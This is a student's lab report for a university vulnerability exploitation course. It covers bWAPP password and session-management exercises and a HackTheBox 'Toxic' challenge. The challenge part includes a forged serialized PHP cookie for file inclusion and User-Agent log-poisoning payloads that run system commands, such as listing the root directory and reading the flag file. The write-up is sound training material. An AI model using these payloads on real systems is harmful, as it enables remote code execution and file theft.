

Lab 03 - Broken authentication and XSS

Scope

This assessment scope focused on two activities:

- **bWAPP** - bWAPP is a free and open-source deliberately insecure web application.
 - **Broken Auth - Password Attacks**
 - **Session Management - Cookies (HTTPOnly) Medium**
 - **Session Management - Session ID in URL**
- **HTB Toxic Challenge**

bWAPP

1. Broken Auth - Password Attacks

This attack is quite simple, the only procedure occurring is a dictionary attack where we specify a list of words, and the ZAP application will rapidly execute requests with every single word until it finds a successful response.

The screenshot displays two windows. On the left is the OWASP ZAP (Zed Attack Proxy) interface. The 'Request' tab is active, showing an HTTP GET request to `http://127.0.0.1/ba_pwd_attacks_1.php`. The 'History' tab at the bottom shows a list of requests, with the most recent one being a POST request to the same URL. On the right is a Mozilla Firefox browser window showing the bWAPP web application. The page title is 'bWAPP - Broken Authentication'. The main heading is '/ Broken Auth - Password Attacks /'. Below this, there is a form with 'Login:' and 'Password:' fields, a 'Login' button, and a message that says 'Invalid credentials! Did you forget your password?'. The browser's address bar shows the URL `https://127.0.0.1/ba_pwd_attacks_1.php`.

The screenshot displays the OWASP ZAP (Zed Attack Proxy) interface. The top pane shows the 'Manual Request Editor' for a POST request to `https://127.0.0.1/ba_pwd_attacks_1.php`. The request body is `login=bee&password=bug&form=submit`. The bottom pane shows the 'History' tab with a list of requests, including a 'Fuzzed' request that resulted in a 'bug' response.

The right pane shows the 'bWAPP' web application interface. The header is orange with the text 'bWAPP an extremely buggy web app'. The main content area is white and contains a login form with the title '/ Broken Auth - Password Attacks /'. The form has a message 'Enter your credentials (bee bug).', input fields for 'Login:' and 'Password:', and a 'Login' button. Below the form, a red message states 'Invalid credentials! Did you forgot your password?'.

2. Session Management - Cookies (HTTPOnly) Medium

The screenshot shows the OWASP ZAP interface on the left and the bwAPP web application on the right. The ZAP interface displays a list of sites, with 'http://127.0.0.1' selected. The 'Header: Text' tab shows the response headers for a POST request to 'http://127.0.0.1/smgmt_cookies_httponly.php'. The headers include 'Content-Type: application/x-www-form-urlencoded', 'Content-Length: 12', 'Origin: https://127.0.0.1', 'DNT: 1', 'Connection: keep-alive', 'Cookie: PHPSESSID=cjccqo6inicoaq83nmm20ck05; security_level=0; top_security=no', 'Upgrade-Insecure-Requests: 1', 'Sec-Fetch-Dest: document', 'Sec-Fetch-Mode: navigate', 'Sec-Fetch-Site: same-origin', and 'Sec-Fetch-User: ?1'. The 'form=cookies' tab is also visible. The bwAPP interface shows the 'Session Mgmt. - Cookies (HTTPOnly)' page. It includes a 'Choose your bug' dropdown set to 'bwAPP v2.2', a 'Set your security level' dropdown set to 'low', and a 'Set Current medium' button. A table lists the current cookies:

Name	Value
PHPSESSID	cjccqo6inicoaq83nmm20ck05
security_level	1
top_security	maybe

3. Session Management - Session ID in URL

The screenshot shows the OWASP ZAP interface on the left and the bwAPP web application on the right. The ZAP interface displays a list of sites, with 'http://127.0.0.1' selected. The 'Welcome to OWASP ZAP' page is visible. The bwAPP interface shows the 'Session Mgmt. - Session ID in URL' page. It includes a 'Choose your bug' dropdown set to 'bwAPP v2.2', a 'Set your security level' dropdown set to 'low', and a 'Set Current low' button. A message states: 'Session IDs should never be placed in the URL!'.

This close-up screenshot shows the browser address bar of the bwAPP web application. The URL is 'http://127.0.0.1/smgmt_sessionid_url.php?PHPSESSID=fm4207ru65f2vf517igbkghmn94'. The 'PHPSESSID' parameter is highlighted in blue. The bwAPP logo and 'an extremely buggy web app.' text are visible in the background.

Toxic HTB Challenge

In the downloaded files, we can see that eh “PHPSESSID” cookie value is base64 encoded and it’s content is displayed on the webpage.

```
if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';


    setcookie(
        'PHPSESSID',
        base64_encode(serialize($page)),
        time()+60*60*24,
        '/'
    );

    $cookie = base64_decode($_COOKIE['PHPSESSID']);
    unserialize($cookie);
}
```


Knowing this, we are able to visualize how the cookie is constructed by bas64 decoding it. This is useful because we can now test if the application accepts forged cookies and what type of access we are able to obtain.

The screenshot displays a web browser window showing the "Dart Frog" application. The page title is "Dart Frog" and the location is "Tampa, Florida". The browser's developer tools are open, showing the Network tab with a list of requests. The selected request is a GET request to "http://127.0.0.1:1337/static/js/production.js". The response headers show a status of 200 OK, HTTP/1.1, and a content length of 318 B. The response body is a JavaScript file. The terminal window on the left shows the output of the "base64" command, displaying the decoded content of the "PHPSESSID" cookie, which is a serialized PHP object representing a PageModel instance.


To test for access and level of privilege, we try to access the linux password file, **etc/passwd**, and we confirm that ,indeed, we have root access.



From analyzing the network requests and the provided files, we also know that the server uses and nginx service. We can try to access the log file from this server by requesting it via a forged cookie.




What we learn from this is that the service reflects the **User-Agent** field into the log file, meaning that it is adding the contents of this field directly onto the PHP, without sanitization, which will probably allow us to inject PHP and OS commands.



The screenshot shows the 'Manual Request Editor' window in Mozilla Firefox. The 'Request' tab is active, displaying an HTTP GET request to `http://206.189.24.162:32611/`. The 'User-Agent' field contains a PHP command injection: `<?php system('ls -la /'); ?>`. The 'Response' tab shows the server's reply, which includes a log entry reflecting the injected command: `206.189.24.162 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0" 206.189.24.162 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0" 206.189.24.162 - 200 "GET /favicon.ico HTTP/1.1" "https://206.189.24.162:32611/" "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0" 206.189.24.162 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0" 206.189.24.162 - 200 "GET / HTTP/1.1" "-" "total 84 drwxr-xr-x 1 root root 4096 Oct 23 23:00 . drwxr-xr-x 1 root root 4096 Oct 23 23:00 .. drwxr-xr-x 2 root root 4096 Apr 14 2021 bin drwxr-xr-x 5 root root 360 Oct 23 23:00 dev -rw-r--r-- 1 root root 179 Apr 30 2021 entrypoint.sh drwxr-xr-x 1 root root 4096 Oct 23 23:00 etc -rw-r--r-- 1 root root 31 Apr 30 2021 flag_svRUM drwxr-xr-x 1 root root 4096 Apr 19 2021 home drwxr-xr-x 1 root root 4096 Apr 14 2021 lib drwxr-xr-x 5 root root 4096 Apr 14 2021 media drwxr-xr-x 2 root root 4096 Apr 14 2021 mnt drwxr-xr-x 2 root root 4096 Apr 14 2021 opt dr-xr-xr-x 272 root root 0 Oct 23 23:00 proc drwxr-xr-x 2 root root 4096 Apr 14 2021 root drwxr-xr-x 1 root root 4096 Oct 23 23:00 run drwxr-xr-x 2 root root 4096 Apr 14 2021 sbin drwxr-xr-x 2 root root 4096 Apr 14 2021 srv dr-xr-xr-x 13 root root 0 Oct 23 23:00 sys drwxrwxrwt 1 root root 4096 Oct 23 23:00 tmp drwxr-xr-x 1 root root 4096 Apr 30 2021 usr drwxr-xr-x 1 root root 4096 Apr 30 2021 var`

Find: No matches Time: 148 ms Body Length: 5,217 Total Length: 5,400 bytes

This is exactly what we do. Firstly, we find out what there is in the root folder, and we can clearly see that a **flag** file is present.



```
GET http://206.189.24.162:32611/ HTTP/1.1
Host: 206.189.24.162:32611
User-Agent: <?php system('cat /flag_svRUM'); ?>|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=
Tzo50iJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWVjZXNzLmxvZyI7fQ==

206.189.24.162 - 200 "GET / HTTP/1.1" "-" "total 84
drwxr-xr-x 1 root root 4096 Oct 23 23:00 .
drwxr-xr-x 1 root root 4096 Oct 23 23:00 ..
drwxr-xr-x 2 root root 4096 Apr 14 2021 bin
drwxr-xr-x 5 root root 360 Oct 23 23:00 dev
-rw-r--r-- 1 root root 179 Apr 30 2021 entrypoint.sh
drwxr-xr-x 1 root root 4096 Oct 23 23:00 etc
-rw-r--r-- 1 root root 31 Apr 30 2021 flag_svRUM
drwxr-xr-x 1 root root 4096 Apr 19 2021 home
drwxr-xr-x 1 root root 4096 Apr 14 2021 lib
drwxr-xr-x 5 root root 4096 Apr 14 2021 media
drwxr-xr-x 2 root root 4096 Apr 14 2021 mnt
drwxr-xr-x 2 root root 4096 Apr 14 2021 opt
dr-xr-xr-x 275 root root 0 Oct 23 23:00 proc
drwx----- 2 root root 4096 Apr 14 2021 root
drwxr-xr-x 1 root root 4096 Oct 23 23:00 run
drwxr-xr-x 2 root root 4096 Apr 14 2021 sbin
drwxr-xr-x 2 root root 4096 Apr 14 2021 srv
dr-xr-xr-x 13 root root 0 Oct 23 23:00 sys
drwxrwxrwt 1 root root 4096 Oct 23 23:00 tmp
drwxr-xr-x 1 root root 4096 Apr 30 2021 usr
drwxr-xr-x 1 root root 4096 Apr 30 2021 var
drwxr-xr-x 4 root root 4096 Apr 30 2021 www

206.189.24.162 - 200 "GET / HTTP/1.1" "-" "HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}"
```

Opening this file reveals the flag that we were searching.

Author

David José Araújo Ferreira, 93444 - davidaraujo@ua.pt

Report submitted for the Lab 03 of *Analysis and Vulnerability Exploitation* course at the University of Aveiro.